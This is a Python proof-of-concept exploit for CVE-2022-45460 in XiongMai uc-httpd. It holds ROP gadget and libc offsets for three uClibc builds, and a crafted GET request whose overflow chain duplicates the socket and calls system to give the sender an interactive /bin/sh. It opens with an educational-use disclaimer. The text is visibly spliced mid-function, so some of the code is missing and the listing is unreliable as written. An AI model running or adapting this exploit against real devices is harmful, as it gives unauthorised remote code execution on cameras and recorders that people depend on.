# Exploit Proof of Concept (PoC) # # Author: born0monday # Target: XiongMai uc-httpd # CVE: CVE-2022-45460 # Description: # This script exploits a stack-based buffer overflow in the URI parsing of uc-http. # A crafted request overwrites the return address, triggering a ROP chain to achieve RCE. # # Disclaimer: # This code is for educational and research purposes only. # Use it responsibly and only on systems you have explicit permission to test. import sys import socket import select import struct HOST, PORT = sys.argv[1], int(sys.argv[2]) GADGETS = { "libc.so.0": { 0: 0xF964, # mov r0, r3; pop {r4, pc} 1: 0x1CDCC, # mov r1, #1; mov r2, r6; blx r5 2: 0x175CC, # pop {r3, pc} 3: 0x368DC, # mov r0, sp; blx r3 }, "libuClibc-0.9.32.1.so": { 0: 0xF964, # mov r0, r3; pop {r4, pc} 1: 0x1CDCC, # mov r1, #1; mov r2, r6; blx r5 2: 0x175CC, # pop {r3, pc} 3: 0x368DC, # mov r0, sp; blx r3 }, "libuClibc-0.9.33.3-git.so": { 0: 0xF3C4, # mov r0, r3; pop {r4, pc} 1: 0x22D74, # mov r1, #1; mov r2, r6; blx r5 2: 0xCA60, # pop {r3, pc} 3: 0x151AC, # mov r0, sp; blx r3 }, } SYMBOLS = { "libc.so.0": { "fileno": 0x31030, # fileno + 0x4 "dup2": 0xCE60, # dup2 + 0x4 "system": 0x535E8, # system }, "libuClibc-0.9.32.1.so": { "fileno": 0x31030, # fileno + 0x4 "dup2": 0xCE60, # dup2 + 0x4 "system": 0x535E8, # system }, "libuClibc-0.9.33.3-git.so": { "fileno": 0x32AA0, # fileno + 0x4 "dup2": 0xC720, # dup2 + 0x4 "system": 0x547C4, # system }, } PADDING = b"XXXX" def p32(addr): return struct.pack(" STDIN # dup2 epilogue: ldmia sp!,{r7,pc} payload += PADDING # r7 # dup2 r1 = 1 -> STDOUT payload += p32(libc_base + GADGETS[libc][1]) # mov r1, #1; mov r2, r6; blx r5 # dup2 epilogue: ldmia sp!,{r7,pc} payload += PADDING # r7 # shell payload += p32(libc_base + GADGETS[libc][2]) # pop {r3, pc}; payload += p32(libc_base + SYMBOLS[libc]["system"]) # r3 payload += p32(libc_base + GADGETS[libc][3]) # mov r0, sp; blx r3 if b"\x00" in payload: print("null bytes in payload :/") sys.exit(1) with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as sock: sock.connect((HOST, PORT)) sock.send(b"GET /" + payload + b"/bin/sh;.mns.cab HTTP/1.1") sock.send(b"\r\n\r\n") interactive(sock) if __name__ == "__main__": main()